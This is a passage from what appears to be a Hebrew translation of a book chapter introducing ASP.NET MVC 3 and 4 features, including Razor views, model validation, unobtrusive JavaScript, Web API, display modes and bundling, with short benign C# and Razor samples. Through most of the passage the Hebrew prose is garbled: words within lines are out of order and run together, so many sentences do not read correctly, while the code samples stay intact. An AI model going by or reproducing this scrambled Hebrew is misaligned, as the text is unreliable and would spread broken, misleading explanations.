לתמוך בבקרי נועד   התצוגהמנועמכיוון שאבל , פעל כצפויזה . Web Formsשמשמשים את 
להלן דוגמה לשימוש בתחביר . הגישה המיושנת הזו נתנה את אותותיה, שבעורך גרפיעריכה 

 : Web Formsהזה בדף 

<%@ Page Language="C#" MasterPageFile="</Views/Shared/Site.Master" 

Inherits="System.Web.Mvc.ViewPage<MvcMusicStore.ViewModels.StoreBrowseViewModel>" 

%> 

 

<asp:Content ID="Content1" ContentPlaceHolderID="TitleContent" runat="server"> 

 Browse Albums 

</asp:Content> 

 

<asp:Content ID="Content2" ContentPlaceHolderID="MainContent" runat="server"> 

  <div class="genre"> 

  <h3><em><%: Model.Genre.Name %></em> Albums</h3> 

  <ul id="album-list"> 

   <% foreach (var album in Model.Albums) { %> 

 

   <li> 

    <a href="<%: Url.Action("Details", new { id = album.AlbumId }) %>"> 

     <img alt="<%: album.Title %>" src="<%: album.AlbumArtUrl %>" /> 

     <span><%: album.Title %></span> 

    </a> 

   </li> 
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   <% } %> 

  </ul> 

 </div> 

</asp:Content> 

יצירת תבניות : ש מרכזי אחדעם דג,  מנוע תצוגה שלתחבירכ במיוחד ה פותחRazorהתוכנה 
 : Razorהנה דוגמה להפקה של תגיות באמצעות . HTMLדפי  הפקת קוד לצורך-מבוססות

@model MvcMusicStore.Models.Genre 

 

@{ViewBag.Title = "Browse Albums";} 

 

<div class="genre"> 

 <h3><em>@Model.Name</em> Albums</h3> 

 

 <ul id="album-list"> 

  @foreach (var album in Model.Albums) 

  { 

   <li> 

    <a href="@Url.Action("Details", new { id = album.AlbumId })"> 

     <img alt="@album.Title" src="@album.AlbumArtUrl" /> 

     <span>@album.Title</span> 

    </a> 

   </li> 

  } 

 </ul> 

</div> 

אין צורך  Razorכאשר עובדים עם . וגם קל יותר לקריאה,  יותר להקלדהל קRazorהתחביר של 
 . Web Forms של מנוע התצוגה של XML-להשתמש בתחביר הכבד דמוי

כדי לחדד את . ממה שהכרתם בעבר שונה לחלוטין Razorהעבודה עם תחביר ש, נראה אם כן
 : Razorתחביר שייצר את  של הצוות את יעדי העיצובהאמירה הזו נבחן 

 העובדה שתחביר : משמעותי וזורם, קומפקטיRazor מתמקד ביצירת תבניות להפקת 
HTMLסכון בהקשות ילא מדובר רק בח.  אפשרה ליצור תחביר מינימליסטי ביותר

למפתח להביע את ביצירת תחביר שיאפשר  אלא -חשוב  למרות שזה יתרון -מקלדת 
 כמו, וקודבין תגיות טובה במעברים  ה לידי ביטוי בצורהגישה זו בא. כוונתו בקלות

 : מודל בלולאהה של ם מאפיינימספרכתובים  שבה, למשל בדוגמה שלהלן
@foreach (var album in Model.Albums) 

{ 

 <li> 

  <a href="@Url.Action("Details", new { id = album.AlbumId })"> 

   <img alt="@album.Title" src="@album.AlbumArtUrl" /> 

   <span>@album.Title</span> 

  </a> 

 </li> 

} 
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 הלא שפה חדש :Razorהינו תחביר שמאפשר להשתמש במיומנויות כתיבת קוד  NET 
 סיכם זאת Scott Hanselman. אינטואיטיביתבצורה מאוד  ותבניתבהקיימות שלכם 

 : Razorהלמידה האישית שלו עם חוויה בצורה טובה כאשר תיאר את 

עד שמישהו אמר לי , Razor חוקי התחביר של  הםי מאוד להבין מההתקשית"
ואז הבנתי , ולהתחיל לכתוב קוד@ פשוט להקליד , להפסיק לחשוב על זה

 ". Razorאין דבר כזה  למעשהש

— HANSELMINUTES #249: ON WEBMATRIX WITH ROB CONERY 

    http://hanselminutes.com/default.aspx?showid=268 

 אתללמודמאוד ל ק, לא מדובר בשפה חדשה שמכיוון: ללמידהל ק  Razor . מכיוון
בכל פעם  @ להקליד וHTML צריך עכשיו לכתוב, NET ויודעים, HTMLיודעים ש

 . NETשרוצים לשלב קוד 

 תחביר : נתמך על ידי כל עורך טקסטRazor  וממוקדמאוד קומפקטי-HTML , עובדה
לנצל את מומלץ מאוד . לכתיבתו המועדף להשתמש בעורך הטקסטמאפשרת אשר 

אבל מכיוון , Visual Studio של IntelliSenseאת כלי אפשרויות סימון התחביר ו
 . רצוי בכל עורך טקסט לכתוב אותו ניתן ,שהתחביר כל כך פשוט

  תמיכתIntelliSenseלמרות שתחביר :  טובהRazor גם פעול לשמאפשרת  עוצב בצורה
להיות יכול אפשרויות השונות השימוש ב, IntelliSense ללא שימוש באפשרויות

פעולות כגון צפייה במאפיינים שנתמכים על ידי אובייקט המודל שימושי ביותר ל
 Visualבסביבת יעילות  IntelliSense מספק מספר אפשרויות Razorתחביר . שלכם

Studio , 1-1כמוצג בתרשים . 

 

 1-1תרשים 

.  לכלי כה יעיל ופשוט לכתיבת קוד תצוגהRazorת את אלו רק כמה מהסיבות שהופכו
 . 3בפרק בהרחבה  Razorבתחביר נדון 

  שיפורים בבדיקות תקינות

זו אך למרבה הצער , הינה חלק חשוב בבנייה של יישומי אינטרנט )validation(תקינות  בדיקת
חות זמן מאז ומעולם שאיפתי הייתה להשקיע כמה שפ.  מהנה במיוחדשלרוב אינהעבודה 

 . כל עוד הייתי בטוח שהכול פועל כמו שצריך, בכתיבת קוד בדיקה
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למפתחים חלק ניכר  חסכה MVC 2של ) attribute-driven(תכונות -מוכוונתבדיקה מערכת ה
, עם זאת.  בקוד הצהרתי פקודות קוד החוזרות על עצמן על ידי החלפת,תהליךהתלאות מ

במקרים רבים המפתחים נדרשו . שי בדיקה נפוציםשל תרחיניתנה לקבוצה די קטנה התמיכה 
  התמיכה בתהליכיMVC 3בגרסת . בכוחות עצמםרב לסטות מהדרך הסלולה ולכתוב קוד 

למידע נוסף על . והיא מכסה את רוב התרחישים שעשויים להיתקל בהםהבדיקה הורחבה 
 . 6ראו פרק , ASP.NET MVCביצוע בדיקות עם 

 NET 4תמיכה בסימון נתונים של 

 ולכן גרסה זו לא סיפקה תמיכה לאפשרות סימון ,NET 3.5. בוצע כנגד MVC 2ההידור של 
ת בדיקה חדשות  נוספו מספר אפשרויוMVC 3לגרסת . NET 4של ) data annotations(הנתונים 

 : לדוגמה, NET 4.זמינות הודות לתמיכת ויעילות ביותר ש

 המאפיין DisplayName של MVC 2 מאפייןשהבעוד , קליזציהלוב תמך לא 
System.ComponentModel.DataAnnotations Displayשל  הסטנדרטי .NET 4 ,דווקא כן 

 . תומך

  בפלטפורמתNET 4  מאפייןלנוספו ValidationAttribute  פעול  לולשיפורים שמאפשרים
עובדה זו תרמה רבות לפישוט של . הבדיקה במודל כולו של בצורה טובה יותר בהקשר

או מפנים אליהם , בין שני מאפייני מודל אשר משווים רכיבי בדיקות מוכחישים תר
 . בכל צורה אחרת

 משופרותמודלים באמצעות בדיקות הבדיקה תהליך ייעול 

. נפרדראויה לאזכור  NET 4 של IValidatableObject לממשק MVC 3התמיכה שמספקת 
רך אפשרית על ידי יישום הממשק דהתשתית מאפשרת להרחיב את אימות המודל כמעט בכל 

שר לבצע בדיקות מותאמות דבר המאפ, Validateשימוש בשיטה תוך  המודל שלכם תעל מחלק
 : מוצג בקוד שלהלןומורכבות כמו ש

public class VerifiedMessage : IValidatableObject { 

 public string Message { get; set; } 

 public string AgentKey { get; set; } 

 public string Hash { get; set; } 

 

 public IEnumerable<ValidationResult> Validate(ValidationContext 

validationContext) { 

  if (SecurityService.ComputeHash(Message, AgentKey) != Hash) 

   yield return new ValidationResult("Agent compromised"); 

 } 

} 

JavaScript שאינו מובלט 

Unobtrusive JavaScriptבדומה ל,  הינו מונח שמייצג פילוסופיה כללית-REST 
)Representational State Transfer .( ת תכנות ישמדובר בפילוסופילומר אפשר באופן כללי
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במקום , לדוגמה.  בתגיות של דף אינטרנטJavaScriptמשילוב קוד שדוגלת בהימנעות 
גורסת  JavaScript  אי ההבלטה שלגישת, onsubmit או onclickן כגוהשתמש באירועים ל

התבסס על ל קרובות לעתיםו,  או המחלקה שלהםID-הלאלמנטים לפי שעלינו להתחבר 
 ). HTML5 של -data מאפייניכמו למשל (מאפיינים אחרים 

  הוא בסךHTMLמתבהר לאור העובדה שמסמך  unobtrusive JavaScriptההיגיון שמאחורי 
,  מבנה התגיות- ולכל חלקיו, יש לו משמעות סמנטית. מסמך, כפי שמשתמע משמו, הכול

לצורך  JavaScriptשילוב קטעי .  חייבת להיות משמעות מדויקת-'  וכו האלמנטיםמאפייני
מזיק לתוכן )  היא אחת הדוגמאות המוכרותdoPostBack__השימוש בפונקציה (אינטראקציה 

 . המסמך

 :  בשתי דרכיםJavaScript  אי ההבלטה שלתומכת בגישת MVC 3  התוכנהגרסת

  סייעיAjax)  כמו למשלAjax.ActionLinkו - Ajax.BeginForm ( מממשים תגיות נקיות
 מאפיינים המאפשרים למנף ולהרחיב את ומחברים, FORM האלמנטעבור 

 ). בהמשךנראה דוגמאות לכך( jQueryעם ) -dataתוך שימוש במאפייני (הפונקציונליות 

 תקינותבדיקות  Ajax validation בדיקה בתור החוקי קוד שמשמש ל כבר אינן פולטות
חוקי הבדיקה את זאת מבצעות ובמקום , JSON של נתוני)  גדול למדילעתים(לוק ב

 לא MVC 2 מערכת הבדיקה של ,טכניתהבחינה המ, לדעתי. -data מאפייניבאמצעות 
 התגיות -המצב טוב בהרבה  MVC 3מערכת של ב, הייתה פולשנית במיוחד ובכל זאת

נתוני הבדיקה  מאפשר למנף ולמחזר את -data במאפייניוהשימוש , פחות כבדות
נראה דוגמאות ( בצורה קלה ופשוטה , אחרותJavaScript או ספריות jQueryבאמצעות 

 ).לכך בהמשך

 jQueryבדיקות 

. Microsoft Ajaxות בוצעו באמצעות אך הבדיק,  באופן מובנהjQuery כללה את MVC 2גרסת 
תמיכת עדכון  הושלם על ידי Ajax לצורך תמיכת jQuery- המעבר לשימוש בMVC 3בגרסת 

אי השילוב בין .  הפופולריjQuery Validation תוסףהעל פעול לה לשמאפשרת הבדיקה בצורה 
מספק , jQuery Validationבאמצעות בדיקות לבין ) ראו סעיף קודם (JavaScriptההבלטה של 

מתוחזק ומתעדכן תוסף הזה כמו כן ה, יכולות בדיקה בעלות רמת גמישות יוצאת מן הכלל
 .  והפעילה הענפהjQueryקהילת על ידי ) היותו קוד פתוחב(

להחילן על כל וניתן , ברירת מחדלכמופעלות בדיקות בצד הלקוח ה, MVC 3 של בפרויקטים
 - באמצעות קוד בטים קיימים ששודרגו עושים זאתבפרויק. web.configהאתר דרך חלקי 

global.asax . 

JSON binding 

,  החדשJsonValueProviderFactory באמצעות JSON Binding - מספקת תמיכה לMVC 3תשתית 
 ולחברו JSONנתונים בפורמט מודל  )כפרמטר(  לקבל בשרתת לשיטות הפעולהובכך מאפשר



 11   צעדים ראשונים: 1פרק 

 כגון תבניות , מתקדמיםAjaxימושית במיוחד בתרחישי יכולת זו ש. למודל הנתונים בשרת
 . postמצד הלקוח בפעולת חזרה לשרת נתונים והעברת לקוח וקישור 

 מיפוי תלויות 

 אשר מפשט ,)dependency resolver(ממפה תלויות שנקרא  נוסף מושג חדש MVC 3לגרסת 
הגישה החדשה מקלה .  ביישומים שלכם בין רכיביםתלויותההזרקת תהליכי במידה רבה את 

 כדי לאפשר ביצוע של שינויי תצורה נרחבים יותר ולהקל ,מאוד על הפרדה של רכיבי היישום
 . על בדיקתם

 :  התשתית מספקת תמיכה לתרחישים הבאים,גרסה השלישיתהחל מה

  עיצובתבנית והזרקה של הרשמה (בקרים )Design Pattern(הזרקת בקרים,  בקרים( 

  הזרקת תלויות לדפי תצוגה, זרקה של מנועי תצוגותהרשמה וה(תצוגות( 

  איתור והזרקה של מסננים(מסנני פעולה( 

  הרשמה והזרקה(מקשרים למודל( 

  רישום והזרקה(ספקי בדיקת מודל( 

 נתונים-ספקי נתוני )metadata( למודל )רישום והזרקה( 

  רישום והזרקה(ספקי ערכים( 

 ). 12פרק ראו ( נפרדפרק עבורו  ולכן הקדשנו ,רחבמאוד זהו נושא 

 מסנני פעולה גלובליים 

 להרצת קוד לפני או אחרי הפעלה של שיטת פעולהאמצעי  סיפקו MVC 2של מסנני הפעולה 
 אישית שניתן להחיל על פעולת בקר ים מותאממאפיינים  סימונים שלבפועל היו אלה. בשרת

כמו למשל , ים מוכנים כמה מספר מסננה כללMVC 2תשתית . מסוימת או על הבקר כולו
 . Authorize המאפיין

 על כל שיטות םניתן להחילשבגרסה השלישית של התשתית נוספו גם מסנני פעולה גלובליים 
 כגון ,הדבר שימושי במיוחד לתהליכים שקשורים לתשתית של היישום. הפעולה של היישום

 ).logging(טיפול בשגיאות וכניסת משתמשים רשומים 

 MVC 4סקירת 

לטפל בצורה  אשר מאפשר לה , נבנתה על בסיס איתן למדיMVC 4  התוכנה הנוכחיתרסתג
כוללות בין  MVC 4של העיקריות התכונות והאפשרויות . תרחישים מתקדמיםטובה במגוון 

 : השאר

 ASP.NET Web API 
  ברירת המחדל לפרויקטתבניות שיפור 
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 ספריית  את מיישמתש יםניידמכשירים ל פרויקט תבניתjQuery Mobile 

 מצבי תצוגה 

  בקרים אסינכרונייםבתמיכת 

  באיחוד  שימוש -אופטימיזציה)bundling ( ומזעור)minification( 

ספר נדון בהן הלימוד בובהמשך , תמצאו הסברים כלליים על התכונות הללובסעיפים הבאים 
 .ביתר פירוט

ASP.NET Web API  

רמזים שונים ניתן לזהות ה בכל חלקיו ,טרנט מיועדת לבניית אתרי אינASP.NET MVCתשתית 
 . HTMLקבלת בקשות מדפדפנים והחזרת דפי : לייעודה העיקרי

,  הבודדbyte- לרמת ה מאוד על המפתחים לשלוט בתגובה עד מקלהASP.NET MVCתשתית 
 ASP.NETמפתחי גילו , מכיוון שכך. ות שירות שכבלפיתוח של שימושית במיוחד MVCתבנית ו

 ם בפורמטליצירת שירותי אינטרנט שמחזירים נתוניבתשתית ם יכולים להשתמש במהרה שה
XML ,JSONולא רק דפי ,  ופורמטים נוספיםHTML . פתרון הרבה יותר פשוט מאשר היה גם זה

או , )Windows Communication Foundation) WCF כגון ,ים תשתיות שירותפתחלהתחיל ל
בעיות ובאגים כמובן שהיו . )HTTP )HTTP handlersמטפלי  ה מאפס שללעמול על כתיב

, פיתוח של שכבות שירותלבניית אתרים לצורך שנועדה במקור שנבעו מהשימוש בתשתית 
 .  הקיימותפני החלופות על זאתהעדיפו רבים עדיין מפתחים אבל 

הינה תשתית ) Web APIובקיצור  (ASP.NET Web API:  מספקת פתרון טוב יותרMVC 4גרסת 
. HTTPלכתיבת שירותי במיוחד מותאמת  אך ,ASP.NET MVCסגנון הפיתוח של אמצת את שמ

בנוסף ו, HTTP לעולם שירותי ASP.NET MVC של העקרונות כמה מתהדבר היה כרוך בהתאמ
 . שירות חדשות-מספר תכונות מוכוונותהיה גם צורך לשלב 

 אך מותאמות ,MVCתית דומות בתשמקבילות לתכונות ה Web APIתכונות של להלן מספר 
 : HTTPשירותי לפיתוח 

 תשתית : ניתובASP.NET Web API משתמשת באותה מערכת ניתוב לצורך מיפוי של 
 באמצעות HTTPשל שירותי  הקשרלהניתוב מותאם תהליך .  לפעולות בקרURLכתובת 
הופכת את הקוד לקריא יותר שגם  גישה,  מוסכמותעל פילפעולות  HTTPפקודות מיפוי 

 . RESTנאמן לעקרונות הם מעודדת עיצוב שירותים וג

 בדיוק כפי שתשתית :קישור למודל ואימות MVC מפשטת את תהליך המיפוי של ערכי 
 Web APIתשתית כך גם , לערכי המודל) ' וכוURLפרמטרי , cookies, שדות טופס(קלט 

להרחבה מערכת הקישור ניתנת .  למודליםHTTPממפה באופן אוטומטי ערכי בקשות 
זהה לזה המשמש אתכם ) attribute-based validation (מאפיינים-וכוללת אימות מבוסס

 . MVCבסביבת בעת קישור למודל 
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 תשתית :מסננים MVC כדי לאפשר הוספה של ) 15מוסבר בפרק כ( משתמשת במסננים
סימון הוספת , לדוגמה). attributes (סימון מאפייניםבאמצעות התנהגויות לפעולות 

ותפנה אותם , תמנע גישה של משתמשים אנונימיים, MVC לפעולת ]Authorize[ מאפייןה
 תומכת גם בחלק ממסנני Web APIתשתית . באופן אוטומטי לדף כניסת משתמשים

MVCמאפייןהכמו למשל  (סטנדרטיים ה ]Authorize[ וגם , ) לתחום השירותיםםמותאה
 . במסננים מותאמים אישית

 Scaffolding :שיח שמשמשת להוספת בקרי -ת הדותיבMVC כמתואר בהמשך ( חדשים
 Addשיח - להשתמש בתיבת הדוניתן . חדשיםWeb APIהוספת בקרי גם לו) הפרק

Controller לבקר להניח את היסודות  כדיWeb APIאובייקט ממודל הנתונים  על סמך 
 .)Entity Framework מבוססבקר (

  ית בדומה לתשת: ממוקדותת ובדיקשיפורMVC , גםWeb APIת על הרעיון של ת מושת
 ). global state(הזרקת תלויות והימנעות משימוש במצב גלובלי 

 : HTTPמספר תפיסות ותכונות חדשות שייחודיות לפיתוח שירותי גם כוללת  Web APIתשתית 

  מודל תכנותHTTP : חוויית הפיתוח באמצעותWeb API  מוכוונת לעבודה עם בקשות
HTTP ובות ותגHTTP . התשתית כוללת מודלי אובייקטHTTPבעלי טיפוסיות חזקה  ,

 .  עוד ולכותרות וHTTP לקודי מצב גישה נוחה

 פקודות  פעולות על בסיסחיבור HTTP :ביישומי MVC בשרת ממופות פעולה ה שיטות
לפי באופן אוטומטי  קראלהייכולות  Web APIהשיטות של , עם זאת. לפי שם הפעולה

 לפעולת בקר בשם תאוטומטי תמופה HTTP GETבקשת , למשל. HTTP פקודות
GetItem . 

 שפרוטוקול רבותכבר שנים : תוכןפורמט  הסדרת HTTP הסדרתשל  תומך במערכת 
 HTTPקוחות לול(דפדפנים המערכת מאפשרת ל. )content negotiation(תוכן פורמט ה

שרת מגיב עם האפשרות הו,  המועדפים עליהם התגובהיעל פורמטלהצהיר ) אחרים
הבקר , כלומר. ביותר שנתמכת על ידו בסדר העדיפויות של הדפדפןהמתאימה הגבוהה 

 להוסיף ניתן( או כל פורמט אחר XML ,JSONתגובות בפורמט לכלול שלכם יכול 
הרצויה ביותר מבין האפשרויות אפשרות ולהחזיר ללקוח את ה, )אישייםפורמטים 
פורמטים חדשים מבלי לשנות את הקוד להוסיף א היכולת אחד היתרונות הו. הזמינות

 . של הבקר

 בניגוד .מורכבתלהיות יכולה קביעת התצורה של שירותים : קוד-תצורה מבוססת 
 Webתצורת , WCF שמיושמת על ידי תהמלל והמורכב-תלגישת קובץ התצורה עמוס

API קודב אך ורק  בצורה ישירה ופשוטהנקבעת . 

בה ניתן להשתמש , ASP.NET MVC 4 חלק מתשתית הינה ASP.NET Web APIלמרות שתשתית 
ויכולה לפעול באופן עצמאי , ASP.NET-היא כלל אינה תלויה ב. לכל דברכתשתית נפרדת 

 להריץ את אפשרמשמעות הדבר היא ש. IIS ושרת ASP.NETשל לחלוטין מחוץ לפלטפורמה 
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Web API בכל יישום NET , שירות של לרבותWindows או אפילו יישום קונסולה פשוט .
 . 11 ראו פרק ASP.NET Web APIלמידע נוסף בנושא 

 לפרויקטברירת המחדל  תבניות שיפור

 נותר ללא כל שינוי מהותי MVC י של תבנית ברירת המחדל לפרויקטיויזואלוהעיצוב ה
, והרצתו חדש MVCפרויקט לאחר יצירת . עד השלישית של התשתיתוה הראשונה הגרסמ
הרקע הכחול נראה שחור  (1-2כמוצג בתרשים , ריבוע לבן על רקע כחולופיע על המסך מ

 ). אבל העיקרון ברור, בתמונה שבספר

 של תבנית ברירת המחדל זכו בעיצוב חדש CSS וגם גליונות HTML גם תגיות MVC 4בגרסת 
 . 1-3 חדשים מוצג בתרשים MVCהמראה המעודכן של יישומי . לגמרי

 

 1-2תרשים 

לעומת הגרסה הקודמת שלא ניכר שהושקע מאמץ רב (בנוסף לעיצוב המודרני יותר 
התבנית החדשה תומכת גם בדפדפנים ניידים באמצעות פריסה משתנה , )בעיצובה

פריסה משתנה הינה טכניקה לעיצוב דפי אינטרנט שמתאימים את עצמם לגדלי ). אדפטיבית(
- כאשר האתר מוצג על מסך שרוחבו קטן מ.CSSתצוגה משתנים באמצעות שאילתות מדיה 

 CSSהתצורה של גיליון , )כמו למשל מסך של סמארטפון או של טאבלט( פיקסלים 850
כמוצג בחלון דימוי , משתנה באופן אוטומטי כדי להתאים את הדף לשטח הקטן של התצוגה

 . 1-4הוויזואלי של תרשים 

 שבבסיס CSS- והHTML-וב לדעת שהאך ט, רצוי כמובן לעצב את המסכים במיוחד למטרתם
 CSS מאפשרים להשתמש בתגיות ובגליונות MVC 4תבניות ברירת המחדל של פרויקטי 

 . אשר מספקים מענה הולם לשוק המכשירים הניידים ההולך וגדל, מודרניים
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 1-3תרשים 

            

 1-5תרשים                                    1-4תרשים 
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 תבנית פרויקט למכשירים ניידים המיישמת שימוש 
  jQuery Mobile -ב

תוכלו , אם בכוונתכם ליצור אתרים שמיועדים להצגה בדפדפני התקנים ניידים בלבד
תבנית זו מטפלת עבורכם בהגדרות התצורה .  החדשהMobile Projectלהשתמש בתבנית 

אשר מספקת מספר סגנונות תצוגה ,  הפופולריתjQuery Mobileהנדרשות לשימוש בספריית 
 jQueryספריית . 1-5כמוצג בתרשים , שגם נראים טוב וגם פועלים היטב בהתקנים ניידים

Mobileתומכת בניווט ,  מותאמת במיוחד לצגי מגעAjax ,  ומשתמשת בהתאמות מיוחדות כדי
 .לספק תמיכה לתכונות שונות של התקנים ניידים

 מצבי תצוגה

 בהתבסס על ,בחירה מבין תצוגות שונותלמוסכמות -גישה מבוססתים מיישממצבי תצוגה 
מנוע תצוגת ברירת המחדל  ,כאשר הדפדפן מצביע על התקן נייד מוכר. המבקש זאתהדפדפן 
כללית אם יש לכם תצוגה , לדוגמה. Mobile.cshtmlתצוגות בעלות סיומת תחילה מחפש 

)generic( בשם Index.cshtml יד בשם לנימותאמת  ותצוגהIndex.Mobile.cshtml , תשתית
MVC 4היישום מוצג בדפדפן של התקן נייד כאשר , תשתמש באופן אוטומטי בתצוגה לנייד . 

 על מוגדריםמצבי תצוגה מותאמים אישית להתקנים באפשרותכם לבצע הרשמה של , כמו כן
כדי , לדוגמה.  הצהרת קוד יחידה כל זאת באמצעות- קריטריונים שאתם קובעים בעצמכם פי

כדי  WinPhone.cshtml. תצוגות בעלות סיומת  להעברתWinPhoneמצב תצוגה להתקני לרשום 
 Application_Startשיטה עליכם להוסיף את הקוד הבא ל, Windows Phoneהתקני להציג ב

 : שלכםGlobal.asaxקובץ בש

DisplayModeProvider.Instance.Modes.Insert(0, new DefaultDisplayMode("WinPhone") 

{ 

 ContextCondition = (context => context.GetOverriddenUserAgent().IndexOf 

  ("Windows Phone OS", StringComparison.OrdinalIgnoreCase) >= 0) 

}); 

 )Minification(  ומזעור)Bundling( איחוד -אופטימיזציה 

. ASP.NET 4.5 - בהזהה לזו שכלול  ומזעוראיחודבמערכת  תומכת ASP.NET 4תשתית 
 הפניות מספרשל  על ידי איחודשל המשתמש המערכת מצמצמת את נפח הבקשות לאתר 

:  לפי הכללבמצב רגיל בכל הפניית קובץ מתבצעת פנייה לשרת( לקבצי סקריפטפרטניות 
 היא גם ,בנוסף. אחת בלבדבקשה כדי ליצור מהם  )מספר פניות לשרת= מספר קבצים 

כמו למשל קיצור שמות של משתנים , את הבקשות באמצעות טכניקות שונות" רתממזע"
 מאחדתהיא : CSSהמערכת תומכת גם בגיליונות .  והערות)שורות ריקות( והסרת תווים לבנים

 כדי להפיק חוקים שקולים CSS לבקשה יחידה ומכווצת את הגודל של בקשת CSSבקשות 
טכניקות ה כולל , מתבצע באמצעות טכניקות שונותהדבר. בתים מינימלי של מספרבאמצעות 

 . CSSמתקדמות של בוררי ה
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 יםמותאמ) bundles (מקבציםליצור ומאפשרת , כוללת הגדרות תצורה מגוונות האיחודמערכת 
אם ברצונכם לראות . יחידה URL והפניות אליהם בשורת מוגדרים תסריטים ים שמכיל,אישית

תחת  יםברירת המחדל שמופיע מקבציעיין בתוכלו ל ,מקבצים כאלהדוגמאות ל
/App_Start/BundleConfig.cs ביישומי MVC 4 חדשים שמבוססים על תבנית Internet . 

להסיר שהתהליך מאפשר בכך הוא מזעור ה והאיחודשל הנחמדים אחד מתוצרי הלוואי 
יטים אתם יכולים להוסיף או לשדרג ספריות תסר, כלומר. הפניות לקבצים מקוד התצוגה

מכיוון , שלכם מבלי לעדכן את התצוגה או מערך הפריסה , שונים בעלי שמות קובץCSSוקבצי 
תבנית יישום , לדוגמה. יחידיםלקבצים ולא  CSSתסריטים או  מקבצימבוצעות לשההפניות 

 : גרסה קשור למספר ו שאינjQuery מקבץ כוללת MVCהאינטרנט של 
bundles.Add(new ScriptBundle("~/bundles/jquery").Include("~/Scripts/jquery-

{version}.js")); 

 : URLבשורת  מקבץ זה להפניה מבוצעת  )Layout.cshtml_( של האתר בפריסה
@Scripts.Render("~/bundles/jquery") 

באופן  (jQueryעדכון ספריית , jQueryמכיוון שההפניות הללו אינן קשורות למספר הגרסה של 
 האיחודיזוהה באופן אוטומטי על ידי מערכת ) NuGet  מנהל החבילותעותידני או באמצ

 . קודהוהמזעור ללא צורך בשינוי 

 ספריות קוד פתוח מובנות
 ספריות קוד פתוח מובילות כגון MVCפרויקט של התבניות כבר בגרסאות מוקדמות כללו 

jQueryו -Modernizr .ההחל מגרס MVC 3  ות באמצעמבוצעת הספריות התקנתNuGet  כדי
 MVCתבניות הפרויקט של . את תהליכי העדכון וניהול קשרי התלות בצורה משמעותית לפשט

 : כוללות מספר ספריות חדשות4
 Json.NET :Json.NET הינה ספריית NETשינוי של נתוני ל שמשמשת לעריכה וJSON 

)JavaScript Object Notation .( הספרייה כלולה בתשתיתMVC 4תית  כחלק מתשWeb 

API סידור טורי ומטרתה לתמוך ב)serializing ( של נתונים לפורמטJSON , לאפשרכדי 
 Dates סוגיםה טיפוסים מ,טיפוסים דינמיים, טיפוסים אנונימיים, הגדרת מבנה הנתונים

 ועוד camel casingשימוש בסגנון , הזחה,  שימור הפניות לאובייקטים,TimeSpans -ו
באפשרויות גם להשתמש ניתן כמובן ש.  לסידור טוריספותתכונות שימושיות נו

 . XML- לJSON- והמרות אוטומטיות מLINQ to JSONכולל , Json.NETהאחרות של 
 DotNetOpenAuth : תשתיתMVC יה יספרכוללת את הDotNetOpenAuth  המספקת

באמצעות ספקי זהויות OAuth -ו OpenID על מבוססתאשר לכניסת משתמשים תמיכה 
לחשבונות על הוספת תמיכה מקלה במיוחד  Account בקר ה שלגדרהאופן ה. יצונייםח

Facebook ,Microsoft ,Googleו -Twitter , מכיוון שכניסת המשתמשים שלהם אולם
כמובן . אחריםספקים גם בקלות די לצרף תוכלו , OAuthעל  וOpenIDעל מבוססת 

 MVC 4אולם תשתית , פן ישיר באוDotNetOpenAuthלהשתמש במחלקות של פשר שא
) Microsoft.Web.WebPages.OAuthבמרחב השמות  (OAuthWebSecurity  מחלקהמספקת

 . כדי לפשט שימושים נפוצים
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 תכונות שונות

תוכלו למצוא את הרשימה המלאה .  כוללת תכונות רבות נוספות שטרם הזכרנוMVC 4תשתית 
הנה . http://www.asp.net/whitepapers/mvc4-release-notesהגרסה בכתובת שחרור בהודעת 
 :  ביותרמעניינותהתכונות כמה מה

 תיקייה ריכוז הגדרות תצורה בApp_Start: דבר הן תוספות שמעשירות את התשתית 
 הבעיה היא שהתצורה של התכונות החדשות הללו נקבעת באמצעות קוד אך, טוב
כדי הפך למסורבל מדי הקוד . Global.asaxשל  Application_Startשיטה ם בנמצא קודש

הגדרות התצורה למחלקות  הוחלט להעביר את  ולכן, אחת)method (שיטהלהיות ב
 :App_Startסטטיות בתיקייה 

o AuthConfig.cs :כולל אתרים עבור , משמשת לשינוי הגדרות אבטחהOAuth 

login . 

o BundleConfig.cs : האיחודהמקבצים שבשימוש מערכת לאחסון משמשת 
, jQuery ,jQueryUI יניהןב,  ברירת מחדלמקבצים שלמספר קיימים . המזעורו

jQuery validation ,Modernizrות  והפניCSS סטנדרטיות . 

o FilterConfig.cs : י מחלקה זו משמשת לרישום מסננ, מהשםכפי שניתן להבין
MVCהיחיד הינו מחדל המסנן ברירת .  גלובלייםHandleErrorAttribute , אלאך 

 . מסננים נוספיםשל הגדרות להוסיף תהססו 

o RouteConfig.cs : תוכלו למצוא את אחת מהגדרות התצורה החשובות כאן
 . זהדיון מעמיק בנושא שבו יש  9ראו פרק . תצורת הניתוב: MVCביותר של 

o WebApiConfig.cs : משמשת להרשמה של ניתוביWeb API  הגדרות ולאחסון
 . נוספות Web APIתצורת 

 בנית פרויקט תMVCתשתית :  ריקהMVC כללה תבנית פרויקט ריקה )Empty ( כבר
 CSSקובץ ,  מבנה תיקיותההיא כלל. אבל היא לא הייתה באמת ריקה, גרסה השנייהב

- להוחלףתבנית זו ם ה ש,עקב דרישת המשתמשים. JavaScriptולמעלה מתריסר קבצי 
Basic , וכעת תבנית הפרויקטEmptyבאמת ריקה  . 

 האפשרות, בעבר: כל מקוםאפשרות להוסיף בקר ב Add Controller של Visual Studio 
אולם תיקיית הבקרים ). Controllers(תיקיית הבקרים של תפריט הקיצור ה רק בהופיע

 תזהה כל מחלקה שמיישמת את הממשק MVCתשתית (בלבד וסדר קיימת מטעמי ארגון 
IController מערך כלי ). ביישוםבמיקום שלה ללא תלות , בקרמחלקת  בתורVisual 

Studio  הבגרסעודכן MVC 4 אפשרות ה שכדיAdd Controller תוצג בתפריטי הקיצור 
 לארגן את משתמשהדבר מאפשר ל.  המשתמש שלMVCשל כל התיקיות של פרויקט 

בקרי בין  להפרידם לקבוצות לוגיות או להפריד ניתן, למשל. רצויההבקרים בכל דרך 
MVCבקרי ין  לבWeb API . 
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 קוד פתוח

אך בעוד שהקוד , הראשונהגרסתה שיון קוד פתוח מאז י הופצה תחת רASP.NET MVCתשתית 
הם , המשתמשים יכלו לקרוא את הקוד. היה פרויקט קוד פתוח אמיתי לא הוא ,היה פתוח לכל
לא יכלו אבל הם ,  באופן עצמאישלהםהשינויים להפיץ את פילו יכלו וא, ותויכלו לשנות א

 . MVCלמאגר הקוד הרשמי של את הקוד שלהם לתרום 

